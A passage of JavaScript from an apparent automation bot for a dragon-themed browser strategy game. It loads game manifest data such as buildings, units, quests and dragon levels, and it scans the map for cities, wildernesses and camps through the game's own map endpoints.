								if (typeA < typeB) {
									return 1
								}
								return 0;
							});
						}
					}

					function orderBuildable(order) {
						if (order === true) {
							data.sort(function(a, b) {
								var buildableA = a.buildable,
									buildableB = b.buildable;
								if (buildableA < buildableB) {
									return -1
								}
								if (buildableA > buildableB) {
									return 1
								}
								return 0;
							});
						} else if (order === false) {
							data.sort(function(a, b) {
								var buildableA = a.buildable,
									buildableB = b.buildable;
								if (buildableA > buildableB) {
									return -1
								}
								if (buildableA < buildableB) {
									return 1
								}
								return 0;
							});
						}
					}

					function orderLocation(order) {
						if (order.toLowerCase() === 'city') {
							data.sort(function(a, b) {
								var locationA = a.location.toLowerCase(),
									locationB = b.location.toLowerCase();
								if (locationA < locationB) {
									return -1
								}
								if (locationA > locationB) {
									return 1
								}
								return 0;
							});
						} else if (order.toLowerCase() === 'field') {
							data.sort(function(a, b) {
								var locationA = a.location.toLowerCase(),
									locationB = b.location.toLowerCase();
								if (locationA > locationB) {
									return -1
								}
								if (locationA < locationB) {
									return 1
								}
								return 0;
							});
						}
					}
				}
			},

			building: function(type) {
				debugLog('Manifest.building');
				var b;

				if (type) {
					for (b = 0; b < Manifest.data.buildings.length; b = b + 1) {}
				} else {
					/* Return an error message because no type was specificed */
				}
			},

			updateManifest: function() {
				var data, i, j;
				/* Initialise levels for each building & Save requirements and Stats */
				data = Manifest.data.buildings;
				for (i = 0; i < data.length; i++) {
					if (!Seed.requirements.building[data[i].type]) Seed.requirements.building[data[i].type] = {};
					if (!Seed.requirements.building[data[i].type].level) Seed.requirements.building[data[i].type].level = [];
					if (!Seed.stats.building[data[i].type]) Seed.stats.building[data[i].type] = {};
					if (!Seed.stats.building[data[i].type].level) Seed.stats.building[data[i].type].level = [];
					for (j = 0; j < data[i].levels.length; j++) {
						Seed.requirements.building[data[i].type].level[data[i].levels[j].level] = data[i].levels[j].requirements;
						Seed.stats.building[data[i].type].level[data[i].levels[j].level] = {};
						Seed.stats.building[data[i].type].level[data[i].levels[j].level].time = data[i].levels[j].time;
					}
					if (!is_null(data[i].capacity)) {
						for (var k in data[i].capacity) {
							if (k != "lignore me!") {
								var lvl = k.substring(1);
								Seed.stats.building[data[i].type].level[lvl].capacity = data[i].capacity[k];
							}
						}
					}
				}

				/* Initialise levels for each research & Save requirements and Stats */
				data = Manifest.data.research;
				Seed.research = [];
				for (i = 0; i < data.length; i++) {
					Seed.research[i] = data[i].type;
					if (!Seed.requirements.research[data[i].type]) Seed.requirements.research[data[i].type] = {};
					if (!Seed.requirements.research[data[i].type].level) Seed.requirements.research[data[i].type].level = [];
					if (!Seed.stats.research[data[i].type]) Seed.stats.research[data[i].type] = {};
					if (!Seed.stats.research[data[i].type].level) Seed.stats.research[data[i].type].level = [];
					for (j = 0; j < data[i].levels.length; j++) {
						Seed.requirements.research[data[i].type].level[data[i].levels[j].level] = data[i].levels[j].requirements;
						Seed.stats.research[data[i].type].level[data[i].levels[j].level] = {
							time: data[i].levels[j].time
						};
					}
				}
				/* Initialise units & Save requirements and Stats ( by Jawz ) */
				data = Manifest.data.units;
				for (i = 0; i < data.length; i++) {
					if (!Seed.requirements.unit[data[i].type]) Seed.requirements.unit[data[i].type] = [];
					Seed.requirements.unit[data[i].type] = data[i].requirements;
					if (!Seed.stats.unit[data[i].type]) Seed.stats.unit[data[i].type] = {};
					Seed.stats.unit[data[i].type] = data[i].stats;
					Seed.stats.unit[data[i].type].time = data[i].time;
					Seed.stats.unit[data[i].type].upkeep = data[i].upkeep;
					Seed.stats.unit[data[i].type].trainable = data[i].trainable_in;
				}
				/*
				 * Initialise for units an array of cities where the unit is
				 * trainable
				 */
				/*data = Manifest.data.city;
				for (var city in data) {
					units = (data[city]).units;
					for (i = 0; i < units.length; i++) {
						if (units[i].trainable) Seed.stats.unit[units[i].type].trainable.push(city);
					}
				}*/

				/* Initialise troops resurrection requirements and Stats */
				data = Manifest.data.units;
				for (i = 0; i < data.length; i++) {
					if (!Seed.requirements.resurrect[data[i].type]) Seed.requirements.resurrect[data[i].type] = [];
					if(data[i].requirements.spectral) {
						Seed.requirements.resurrect[data[i].type] = data[i].requirements['spectral'];
						if (!Seed.stats.resurrect[data[i].type]) Seed.stats.resurrect[data[i].type] = {};
						Seed.stats.resurrect[data[i].type] = data[i].stats;
						Seed.stats.resurrect[data[i].type].time = data[i].time;
						Seed.stats.resurrect[data[i].type].upkeep = data[i].upkeep;						
					}
				}

				/* Initialise levels for master rookery dragons feeding */
				data = Manifest.data.dragon_levels;
				for (i = 0; i < data.length; i++) {
					if (!Seed.requirements.dragon.feeding) Seed.requirements.dragon.feeding = {};
					if (!Seed.requirements.dragon.feeding.level) Seed.requirements.dragon.feeding.level = [];
					if (!Seed.requirements.dragon.feeding.level[data[i].level]) Seed.requirements.dragon.feeding.level[data[i].level] = data[i].requirements;
					if (!Seed.stats.dragon.feeding) Seed.stats.dragon.feeding = {};
					if (!Seed.stats.dragon.feeding.level) Seed.stats.dragon.feeding.level = [];
					if (!Seed.stats.dragon.feeding.level[data[i].level]) Seed.stats.dragon.feeding.level[data[i].level] = {
						time: data[i].time
					};
				}

				/* Save quests manifest */
				data = Manifest.data.quests;
				for (i = 0; i < data.length; i++) {
					if (!Seed.quests.category[i]) Seed.quests.category[i] = [];
					Seed.quests.category[i] = data[i][0];
					for (j = 0; j < data[i][1].length; j++) {
						if (!Seed.quests.list[data[i][0]]) Seed.quests.list[data[i][0]] = [];
						var rec = {
							name: data[i][1][j].name,
							recommended: data[i][1][j].recommended,
							reward: data[i][1][j].reward
						};
						Seed.quests.list[data[i][0]].push(rec);
					}
				}

				/* Save item types & list from store manifest */
				data = Manifest.data.store;
				for (var i in data) {
					if (!Seed.items[i]) Seed.items[i] = [];
					for (j = 0; j < data[i].length; j++) {
						Seed.items[i].push({
							type: data[i][j].type,
							price: (data[i][j].price ? data[i][j].price : 0),
							usable: data[i][j].usable
						});
					}
				}
				
				/* Save armors manifest */
				data = Manifest.data.armors;
				for (var i in data) {
					Seed.armors.push(data[i].head[0]);
					Seed.armors.push(data[i].body[0]);
					Seed.armors.push(data[i].claws[0]);
					Seed.armors.push(data[i].tail[0]);
				}
				// Fix for spectral armor and Sky
				Seed.armors.push('SpectralDragonHead');Seed.armors.push('SpectralDragonTalons');Seed.armors.push('SpectralDragonTail');Seed.armors.push('SpectralDragonBody');
				Seed.armors.push('KaiserDragonTailGuard');Seed.armors.push('KaiserDragonClawGuards');Seed.armors.push('KaiserDragonHelmet');Seed.armors.push('KaiserDragonBodyArmor');
				
				/* Save Great dragons statistics by level */
				var greatDragonLvlsManifest = Manifest.data.great_dragon_levels;
				var waterDragonLvlsManifest = Manifest.data.water_dragon_levels;
				var stoneDragonLvlsManifest = Manifest.data.stone_dragon_levels;
				var fireDragonLvlsManifest = Manifest.data.fire_dragon_levels;
				var windDragonLvlsManifest = Manifest.data.wind_dragon_levels;
				var iceDragonLvlsManifest = Manifest.data.ice_dragon_levels;
				var swampDragonLvlsManifest = Manifest.data.swamp_dragon_levels;
				var forestDragonLvlsManifest = Manifest.data.forest_dragon_levels;
				var desertDragonLvlsManifest = Manifest.data.desert_dragon_levels;
				var chronoDragonLvlsManifest = Manifest.data.chrono_dragon_levels;
				var kaiserDragonLvlsManifest = Manifest.data.kaiser_dragon_levels;
				var spectralDragonLvlsManifest = Manifest.data.spectral_dragon_levels;
				var caveDragonLvlsManifest = Manifest.data.cave_dragon_levels;
				var lunaDragonLvlsManifest = Manifest.data.luna_dragon_levels;
				var colossusDragonLvlsManifest = Manifest.data.colossus_dragon_levels;
				for (var m = 1; m < 20; m++) {
					if (greatDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.GreatDragon[m]) Seed.greatDragons.GreatDragon[m] = [];
						Seed.greatDragons.GreatDragon[m] = greatDragonLvlsManifest[m];
					}
					if (waterDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.WaterDragon[m]) Seed.greatDragons.WaterDragon[m] = [];
						Seed.greatDragons.WaterDragon[m] = waterDragonLvlsManifest[m];
					}
					if (stoneDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.StoneDragon[m]) Seed.greatDragons.StoneDragon[m] = [];
						Seed.greatDragons.StoneDragon[m] = stoneDragonLvlsManifest[m];
					}
					if (fireDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.FireDragon[m]) Seed.greatDragons.FireDragon[m] = [];
						Seed.greatDragons.FireDragon[m] = fireDragonLvlsManifest[m];
					}
					if (windDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.WindDragon[m]) Seed.greatDragons.WindDragon[m] = [];
						Seed.greatDragons.WindDragon[m] = windDragonLvlsManifest[m];
					}
					if (iceDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.IceDragon[m]) Seed.greatDragons.IceDragon[m] = [];
						Seed.greatDragons.IceDragon[m] = iceDragonLvlsManifest[m];
					}
					if (swampDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.SwampDragon[m]) Seed.greatDragons.SwampDragon[m] = [];
						Seed.greatDragons.SwampDragon[m] = swampDragonLvlsManifest[m];
					}
					if (forestDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.ForestDragon[m]) Seed.greatDragons.ForestDragon[m] = [];
						Seed.greatDragons.ForestDragon[m] = forestDragonLvlsManifest[m];
					}
					if (desertDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.DesertDragon[m]) Seed.greatDragons.DesertDragon[m] = [];
						Seed.greatDragons.DesertDragon[m] = desertDragonLvlsManifest[m];
					}
					if (chronoDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.ChronoDragon[m]) Seed.greatDragons.ChronoDragon[m] = [];
						Seed.greatDragons.ChronoDragon[m] = chronoDragonLvlsManifest[m];
					}
					if (kaiserDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.KaiserDragon[m]) Seed.greatDragons.KaiserDragon[m] = [];
						Seed.greatDragons.KaiserDragon[m] = kaiserDragonLvlsManifest[m];
					}
					if (spectralDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.SpectralDragon[m]) Seed.greatDragons.SpectralDragon[m] = [];
						Seed.greatDragons.SpectralDragon[m] = spectralDragonLvlsManifest[m];
					}
					if (caveDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.CaveDragon[m]) Seed.greatDragons.CaveDragon[m] = [];
						Seed.greatDragons.CaveDragon[m] = caveDragonLvlsManifest[m];
					}
					if (lunaDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.LunaDragon[m]) Seed.greatDragons.LunaDragon[m] = [];
						Seed.greatDragons.LunaDragon[m] = lunaDragonLvlsManifest[m];
					}
					if (colossusDragonLvlsManifest[m]) {
						if (!Seed.greatDragons.ColossusDragon[m]) Seed.greatDragons.ColossusDragon[m] = [];
						Seed.greatDragons.ColossusDragon[m] = colossusDragonLvlsManifest[m];
					}
				}
			}
		};
		/******************************** Manifest package ***************************/

		/******************************** Map package ********************************/
		var Map = {
			map_bin: null,
			is_refreshing: false,
			x: 0,
			y: 0,
			names: {
				type: {
					0: 'bog',
					1: 'plain',
					2: 'mountain',
					3: 'forest',
					4: 'hill',
					5: 'grassland',
					6: 'lake',
					7: 'City',
					8: 'AnthropusCamp',
					9: 'Clouds',
					10: 'Spectral',
					11: 'Water',
					12: 'Stone',
					13: 'Fire',
					14: 'Wind',
					15: 'Ice',
					16: 'Swamp',
					17: 'Forest',
					18: 'Desert',
					19: 'Chrono',
					20: 'Sky',
					21: 'Cave',
					22: 'Luna',
					23: 'Colossus',
					'bog': 0,
					'plain': 1,
					'mountain': 2,
					'forest': 3,
					'hill': 4,
					'grassland': 5,
					'lake': 6,
					'City': 7,
					'AnthropusCamp': 8,
					'Clouds': 9,
					'Spectral': 10,
					'Water': 11,
					'Stone': 12,
					'Fire': 13,
					'Wind': 14,
					'Ice': 15,
					'Swamp': 16,
					'Forest': 17,
					'Desert': 18,
					'Chrono': 19,
					'Sky': 20,
					'Cave': 21,
					'Luna': 22,
					'Colossus': 23
				}
			},
			targets: {
				AnthropusCamp: [],
				forest: [],
				grassland: [],
				hill: [],
				lake: [],
				mountain: [],
				plain: [],
				City: [],
				Outpost: []
			},
			to_refresh: {
				forest: [],
				grassland: [],
				hill: [],
				lake: [],
				mountain: [],
				plain: [],
				City: []
			},
			/* List of coords indicated as camps or wilds but that are in fact clouds - Added list of all known clouds */
			to_avoid: ['45,651', '45,652', '45,653', '45,654', '45,655', '46,651', '46,652', '46,653', '46,654', '46,655', '47,651', '47,652', '47,653', '47,654', '47,655', '48,651', '48,652', '48,653', '48,654', '48,655', '49,651', '49,652', '49,653', '49,654', '49,655',
				'134,189', '134,190', '134,191', '134,192', '134,193', '135,189', '135,190', '135,191', '135,192', '135,193', '136,189', '136,190', '136,191', '136,192', '136,193', '137,189', '137,190', '137,191', '137,192', '137,193', '138,189', '138,190', '138,191', '138,192', '138,193',
				'141,235', '141,236', '141,237', '141,238', '141,239', '142,235', '142,236', '142,237', '142,238', '142,239', '143,235', '143,236', '143,237', '143,238', '143,239', '144,235', '144,236', '144,237', '144,238', '144,239', '145,235', '145,236', '145,237', '145,238', '145,239',
				'158,632', '158,633', '158,634', '158,635', '158,636', '159,632', '159,633', '159,634', '159,635', '159,636', '160,632', '160,633', '160,634', '160,635', '160,636', '161,632', '161,633', '161,634', '161,635', '161,636', '162,632', '162,633', '162,634', '162,635', '162,636',
				'196,183', '196,184', '196,185', '196,186', '196,187', '197,183', '197,184', '197,185', '197,186', '197,187', '198,183', '198,184', '198,185', '198,186', '198,187', '199,183', '199,184', '199,185', '199,186', '199,187', '200,183', '200,184', '200,185', '200,186', '200,187',
				'206,240', '206,241', '206,242', '206,243', '206,244', '207,240', '207,241', '207,242', '207,243', '207,244', '208,240', '208,241', '208,242', '208,243', '208,244', '209,240', '209,241', '209,242', '209,243', '209,244', '210,240', '210,241', '210,242', '210,243', '210,244',
				'319,341', '319,342', '319,343', '319,344', '319,345', '320,341', '320,342', '320,343', '320,344', '320,345', '321,341', '321,342', '321,343', '321,344', '321,345', '322,341', '322,342', '322,343', '322,344', '322,345', '323,341', '323,342', '323,343', '323,344', '323,345',
				'343,676', '343,677', '343,678', '343,679', '343,680', '344,676', '344,677', '344,678', '344,679', '344,680', '345,676', '345,677', '345,678', '345,679', '345,680', '346,676', '346,677', '346,678', '346,679', '346,680', '347,676', '347,677', '347,678', '347,679', '347,680',
				'423,510', '423,511', '423,512', '423,513', '423,514', '424,510', '424,511', '424,512', '424,513', '424,514', '425,510', '425,511', '425,512', '425,513', '425,514', '426,510', '426,511', '426,512', '426,513', '426,514', '427,510', '427,511', '427,512', '427,513', '427,514',
				'451,46', '451,47', '451,48', '451,49', '451,50', '452,46', '452,47', '452,48', '452,49', '452,50', '453,46', '453,47', '453,48', '453,49', '453,50', '454,46', '454,47', '454,48', '454,49', '454,50', '455,46', '455,47', '455,48', '455,49', '455,50',
				'459,284', '459,285', '459,286', '459,287', '459,288', '460,284', '460,285', '460,286', '460,287', '460,288', '461,284', '461,285', '461,286', '461,287', '461,288', '462,284', '462,285', '462,286', '462,287', '462,288', '463,284', '463,285', '463,286', '463,287', '463,288',
				'636,669', '636,670', '636,671', '636,672', '636,673', '637,669', '637,670', '637,671', '637,672', '637,673', '638,669', '638,670', '638,671', '638,672', '638,673', '639,669', '639,670', '639,671', '639,672', '639,673', '640,669', '640,670', '640,671', '640,672', '640,673',
				'660,445', '660,446', '660,447', '660,448', '660,449', '661,445', '661,446', '661,447', '661,448', '661,449', '662,445', '662,446', '662,447', '662,448', '662,449', '663,445', '663,446', '663,447', '663,448', '663,449', '664,445', '664,446', '664,447', '664,448', '664,449',
				'684,483', '684,484', '684,485', '684,486', '684,487', '685,483', '685,484', '685,485', '685,486', '685,487', '686,483', '686,484', '686,485', '686,486', '686,487', '687,483', '687,484', '687,485', '687,486', '687,487', '688,483', '688,484', '688,485', '688,486', '688,487',
				'701,384', '701,385', '701,386', '701,387', '701,388', '702,384', '702,385', '702,386', '702,387', '702,388', '703,384', '703,385', '703,386', '703,387', '703,388', '704,384', '704,385', '704,386', '704,387', '704,388', '705,384', '705,385', '705,386', '705,387', '705,388',
				'712,87', '712,88', '712,89', '712,90', '712,91', '713,87', '713,88', '713,89', '713,90', '713,91', '714,87', '714,88', '714,89', '714,90', '714,91', '715,87', '715,88', '715,89', '715,90', '715,91', '716,87', '716,88', '716,89', '716,90', '716,91',
				'730,551', '730,552', '730,553', '730,554', '730,555', '731,551', '731,552', '731,553', '731,554', '731,555', '732,551', '732,552', '732,553', '732,554', '732,555', '733,551', '733,552', '733,553', '733,554', '733,555', '734,551', '734,552', '734,553', '734,554', '734,555',
				'738,712', '738,713', '738,714', '738,715', '738,716', '739,712', '739,713', '739,714', '739,715', '739,716', '740,712', '740,713', '740,714', '740,715', '740,716', '741,712', '741,713', '741,714', '741,715', '741,716', '742,712', '742,713', '742,714', '742,715', '742,716'
			],

			coords_to_avoid: {},
			to_check: [],

			initMapData: function(callback) {
				Map.fetchMap(function(res) {
					if (res.ok) {
						verboseLog(translate('Map was Successfully requested from the server'));
					} else {
						verboseLog('fetchMap ' + translate('was returned with a status of') + ' ' + res.ok + ' - ' + res.errmsg);
					}
					if (callback) {
						callback(res);
					}
				});
			},

			fetchMap: function(callback) {
				var now = new Date().getTime() / 1000;
				var params = {};
				params['b'] = MAP_BIN_CACHEBREAKER;
				new MyAjaxRequest('map', S3_SERVER + S3_SWF_PREFIX + '/map.bin', params, function(res) {
					if (res.errors) {
						res.ok = false;
						res.errmsg = res.errors;
					} else if (res.dat) {
						try {
							Map.map_bin = new jDataView(res.dat);
						} catch (e) {
							res.ok = false;
							res.errmsg = 'fetchMap when decoding map.bin returned this error: ' + e;
						}
					}
					if (callback) callback(res);
				}, false, true);
			},

			init: function() {
				var t = Map;
				/* Save our coords */
				t.x = Seed.cities[CAPITAL.id].x || 0;
				t.y = Seed.cities[CAPITAL.id].y || 0;

				Data.init({
					map: {
						terrains: {},
						players: {},
						evolution: {},
						alliance: {},
						coords: {}
					}
				});

				/* Initialize the coords_to_avoid object using the array of coords to avoid */
				for (var c = 0; c < t.to_avoid.length; c++)
					t.coords_to_avoid[t.to_avoid[c]] = {
						x: 0
					}; /* Just add the coord in the object. The check will be done regarding if a row exists or not. */

				/* Check Our Coords */
				t.checkOurCoords();
				/* set Ourselves Data Map */
				t.setOurselves();
			},

			setOurselves: function() {
				var t = Map;
				for (var i = 0; i < Seed.player.player_wildernesses.length; i++) {
					var wilderness = Seed.player.player_wildernesses[i];
					var xy = wilderness.x + ',' + wilderness.y;
					Data.map.terrains[xy] = [
						Seed.player.id,
						Seed.player.name,
						t.checkType(wilderness.type),
						wilderness.level
					];
					Data.map.coords[xy] = {
						A: 0,
						la: 0
					};
				}
				var alliance_id = Seed.player.alliance && Seed.player.alliance.id ? Seed.player.alliance.id : 0;
				Data.map.players[Seed.player.id] = [
					Seed.player.name,
					Seed.player.level,
					Seed.player.might,
					alliance_id,
					1
				];
				if (alliance_id) Data.map.alliance[alliance_id] = Seed.player.alliance.name;
			},

			getCities: function(options) {
				var t = Map;
				var cities = [];
				var radius = options.radius || 16;
				var _x = options.x;
				var _y = options.y;
				if (isNaN(_x)) _x = t.x;
				if (isNaN(_y)) _y = t.y;
				for (var x = _x - radius; x < _x + radius; x++) {
					for (var y = _y - radius; y < _y + radius; y++) {
						var coord_x = t.normalize(x);
						var coord_y = t.normalize(y);
						var tile = t.map_bin.getUint8(coord_y + (coord_x * 750) + 2);
						var type = (tile >> 4) & 0x0f;
						var level = tile & 0x0f;

						if (!tile) continue;
						var xy = coord_x + ',' + coord_y;
						var to_skip = (t.coords_to_avoid[xy]) ? true : false;
						if (to_skip) continue;
						if (!type || (type != 0 && type != 7 && type <= 9)) /* Search for Cities & outposts ; and type is not corresponding */
							continue;
						var _type = type;
						var terrain = Data.map.terrains[xy];
						if (terrain) {
							_type = t.checkType(terrain[2]);
							if (_type == 7 || _type > 9) cities.push({
								x: coord_x,
								y: coord_y
							});
						}
					}
				}
				return cities;
			},

			getTargets: function(options) {
				var t = Map;
				var terrains = {
					AnthropusCamp: [],
					forest: [],
					grassland: [],
					hill: [],
					lake: [],
					mountain: [],
					plain: [],
					City: [],
					Outpost: []
				};
				var radius = options.radius || 16;
				var _x = options.x;
				var _y = options.y;
				if (isNaN(_x)) _x = t.x;
				if (isNaN(_y)) _y = t.y;
				var _type = options.map_type || 'all';
				/* Terrains */
				for (var x = _x - radius; x < _x + radius; x++) {
					for (var y = _y - radius; y < _y + radius; y++) {
						var coord_x = t.normalize(x);
						var coord_y = t.normalize(y);
						var tile = t.map_bin.getUint8(coord_y + (coord_x * 750) + 2);
						var type = (tile >> 4) & 0x0f;
						var level = tile & 0x0f;

						if (!tile) continue;
						var xy = coord_x + ',' + coord_y;
						var to_skip = (t.coords_to_avoid[xy]) ? true : false;
						if (to_skip) continue;
						/* Skip Clouds */
						if ((!type || type == 9) || (_type != 'all' &&
							(_type == 'C' && type != 7 && type <= 9) && /* Search for Cities & outposts ; and type is not corresponding */
							(_type == 'W' && (type == 0 || type >= 7)))) /* Search for Wildernesses ; and type is not corresponding */ {
							continue;
						}
						if (!Data.map.coords[xy]) Data.map.coords[xy] = {
							A: 1,
							la: 0
						};
						var obj = {
							x: coord_x,
							y: coord_y,
							t: type,
							l: level,
							A: ((Data.map.coords[xy].A == 0) ? false : true),
							la: Data.map.coords[xy].la
						};
						var terrain = Data.map.terrains[xy];
						if (terrain) {
							obj.id = terrain[0] || 0; /* player_id */
							obj.cn = terrain[1]; /* city name */
							obj.t = t.checkType(terrain[2]); /* city type */
							obj.l = (terrain[3] || obj.l); /* level */
							if (obj.id) {
								var player = Data.map.players[obj.id];
								if (player) {
									obj.n = player[0];
									obj.pl = player[1];
									obj.m = player[2];
									obj.ai = player[3];
									obj.a = Data.map.alliance[player[3]] || player[3];
									var coords_A = (Data.map.coords[xy].A == 0) ? false : true;
									obj.A = coords_A = obj.a ? false : true;
									obj.F = player[4];
								}
							}
						} else {
							if (type == 7) obj.l = 1;
						}
						obj.d = getDistance(_x, _y, coord_x, coord_y);
						var terrain_type = t.names.type[type];
						if (obj.t > 9) terrain_type = 'Outpost';
						if ((obj.t == 7 && is_null(obj.n) && is_null(obj.cn))) continue; /* City without name, should be a wamp. Do not take it into account */
						terrains[terrain_type].push(obj);
					}
				}
				Map.targets = terrains;
				return terrains;
			},

			tileAt: function(options, callback) {
				var t = Map,
					x, y;
				if (!isNaN(options.x)) x = t.normalize(options.x);
				else x = t.normalize(t.x);
				if (!isNaN(options.y)) y = t.normalize(options.y);
				else y = t.normalize(t.y);

				var tile = t.map_bin.getUint8(y + (x * 750) + 2);
				var type = (tile >> 4) & 0x0f;
				var level = tile & 0x0f;
				if (!tile) return (null);

				var xy = x + ',' + y;
				if (!Data.map.coords[xy]) Data.map.coords[xy] = {
					A: 1,
					la: 0
				};
				var target = {
					x: x,
					y: y,
					t: type,
					l: level,
					A: Data.map.coords[xy].A,
					la: Data.map.coords[xy].la
				};
				/* No need to request more data for AnthropusCamp */
				if (type == 8) {
					target.ok = true;
					callback(target);
					return;
				}

				/* We make sure we have the necessary data in our database */
				if (Data.map.terrains[xy] && Data.map.terrains[xy][0]) {
					var terrain_xy = Data.map.terrains[xy];
					target.id = terrain_xy[0]; /* player_id */
					target.cn = terrain_xy[1]; /* city name */
					target.t = t.checkType(terrain_xy[2]); /* city type */
					target.l = terrain_xy[3]; /* level */

					if (Data.map.players[target.id] && Data.map.players[target.id][0]) {
						var player = Data.map.players[target.id];
						target.n = player[0];
						target.pl = player[1];
						target.m = player[2];
						target.ai = player[3];
						target.a = Data.map.alliance[target.ai] || target.ai;
						target.F = player[4];
						if (!options.force_request && (!options.wild_detail || (options.wild_detail && target.l < 7))) {
							target.ok = true;
							if (callback) callback(target);
							return;
						}
					}
				}
				if (target.n && !options.force_request) {
					target.ok = true;
					if (callback) callback(target);
					return;
				}

				var p = {};
				p = MyAjax.addMainParams();
				p['x'] = x;
				p['y'] = y;
				new MyAjaxRequest('tile_at', 'map/tile_at.json', p, mycb, true);

				function mycb(rslt) {
					if (rslt.ok) {
						if (rslt.dat.map_player && rslt.dat.map_player != null && rslt.dat.map_player.id) {
							var alliance = 0;
							var is_friend = 0;
							var xy = rslt.dat.map_terrain.x + ',' + rslt.dat.map_terrain.y;
							if (rslt.dat.map_player.alliance) {
								alliance = rslt.dat.map_player.alliance.id;
								Data.map.alliance[alliance] = rslt.dat.map_player.alliance.name;
								target.A = Data.map.coords[xy].A = 0;
								if (Seed.player.alliance && rslt.dat.map_player.alliance.id === Seed.player.alliance.id) {
									is_friend = 1;
								}
							}
							Data.map.players[rslt.dat.map_player.id] = [
								rslt.dat.map_player.name,
								rslt.dat.map_player.level,
								rslt.dat.map_player.might,
								alliance,
								is_friend
							];
							target.n = rslt.dat.map_player.name;
							target.pl = rslt.dat.map_player.level;
							target.m = rslt.dat.map_player.might;
							target.ai = alliance;
							target.a = Data.map.alliance[alliance] || alliance;
							target.F = is_friend;
							var city_type = rslt.dat.map_terrain.type ? Map.names.type[rslt.dat.map_terrain.type] : type;
							var city_name = rslt.dat.map_terrain.name;

							Data.map.terrains[xy] = [
								rslt.dat.map_terrain.map_player_id,
								city_name,
								Map.checkType(city_type), (rslt.dat.map_terrain.level || target.l)
							];
							target.id = rslt.dat.map_terrain.map_player_id;
							target.cn = city_name;
							target.t = Map.checkType(city_type);
							target.l = Data.map.terrains[xy][3];
						} else {
							if (rslt.dat.map_terrain) {
								target.t = Map.checkType((rslt.dat.map_terrain.type ? Map.names.type[rslt.dat.map_terrain.type] : type));
								target.l = rslt.dat.map_terrain.level;
							} else {
								target.t = Map.checkType(type);
								target.l = level;
							}
							target.id = null;
							target.cn = null;
							target.n = null;
							target.pl = null;
							target.m = null;
							target.ai = null;
							target.a = null;
							target.F = null;
							var xy = rslt.dat.x + ',' + rslt.dat.y;
							Data.map.terrains[xy] = [null, 0, target.t, target.l];
						}
						target.ok = true;
						if (callback) callback(target);
						return;
					} else {
						verboseLog('Map tileAt ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
						if (callback) callback(rslt);
						return;
					}
				}
			},

			scanMap: function(options, callback) {
				var t = Map;

				t.callback = callback;
				t.radius = (!options.radius || options.radius < 8) ? 8 : options.radius;
				t.pos_x = t.normalize(options.x - t.radius + 4);
				t.pos_y = t.normalize(options.y - t.radius + 8);
				t.step_x = t.step_y = 0;
				t.steps_x = Math.ceil((t.radius * 2) / 8);
				t.steps_y = Math.ceil((t.radius * 2) / 16);
				t.steps = toNum(t.steps_x * t.steps_y) + 1;
				t.step = 0;
				t.percent = toNum(t.step * 100 / t.steps);
				t.tile_count = 0;
				t.total_tiles = 0;
				t.old_percent = 0;
				t.tile_percent = toNum(t.tile_count * 100 / ((t.total_tiles == 0) ? 1 : t.total_tiles));
				t.forwards = true;
				t.city_detail = options.city_detail || false;
				t.wild_detail = options.wild_detail || false;
				t.force_request = options.force_request || false;

				t.options = options;
				t.to_check = cloneProps(t.getCities({
					x: options.x,
					y: options.y,
					radius: t.radius
				}));
				var p = {};
				p = MyAjax.addMainParams();
				p['x'] = t.pos_x;
				p['y'] = t.pos_y;
				p['width'] = 8;
				p['height'] = 16;
				new MyAjaxRequest('map', 'map.json', p, t.gotMapCities, true);
			},

			gotMapCities: function(r) {
				var t = Map;
				var m = Data.map;
				t.tile_count = 0;
				t.total_tiles = 0;

				if (!r.ok) {
					if (t.callback) t.callback(null);
					return;
				}

				var to_refresh = {
					forest: [],
					grassland: [],
					hill: [],
					lake: [],
					mountain: [],
					plain: [],
					City: []
				};

				/* Cities & Outpost */
				for (var i = 0; i < r.dat.map_cities.length; i++) {
					var target = r.dat.map_cities[i];
					var alliance = 0;
					var is_friend = 0;
					if (target.alliance_name) {
						alliance = target.alliance_name;
						if (Seed.player.alliance && target.alliance_name === Seed.player.alliance.name) {
							is_friend = 1;
						}
					}
					if (!Data.map.players[target.map_player_id]) {
						/* [Player Name, Level, Might, Alliance, isFriend ] */
						Data.map.players[target.map_player_id] = [
							0,
							0,
							target.might,
							alliance,
							is_friend
						];
					} else {
						if (!Data.map.players[target.map_player_id][3]) Data.map.players[target.map_player_id][3] = alliance;
					}
					var xy = target.x + ',' + target.y;
					/* [ player_id, city_name, city_type, level] */
					Data.map.terrains[xy] = [
						target.map_player_id, (target.name || 0),
						t.checkType(target.type), (target.level || 0)
					];
					var found = false;
					for (var c = 0; c < t.to_check.length && !found; c++) {
						if (t.to_check[c].x == target.x && t.to_check[c].y == target.y) {
							found = true;
							t.to_check.splice(c, 1);
						}
					}
					if (!Data.map.coords[xy]) Data.map.coords[xy] = {
						A: 1,
						la: 0
					};
					Data.map.coords[xy].A = alliance ? 0 : 1;
					if (Seed.player.id === target.map_player_id) Data.map.coords[xy].A = 0;
					if (t.city_detail) {
						var loc_to_refresh = {
							x: target.x,
							y: target.y
						};
						to_refresh.City.push(loc_to_refresh);
					}
				}
				/* Wildernesses */
				if (t.wild_detail) {
					var _x = t.pos_x;
					var _y = t.pos_y;
					for (var x = _x - t.radius; x < _x + t.radius; x++) {
						for (var y = _y - t.radius; y < _y + t.radius; y++) {
							var wild_x = t.normalize(x);
							var wild_y = t.normalize(y);
							var tile = t.map_bin.getUint8(wild_y + (wild_x * 750) + 2);
							var type = (tile >> 4) & 0x0f;
							var level = tile & 0x0f;
							if (tile) {
								var xy = wild_x + ',' + wild_y;
								var to_skip = (t.coords_to_avoid[xy]) ? true : false;
								if (type > 0 && type < 7 && level >= 7 && !to_skip) {
									var terrain_type = t.names.type[type];
									to_refresh[terrain_type].push({
										x: wild_x,
										y: wild_y
									});
								}
							}
						}
					}
				}
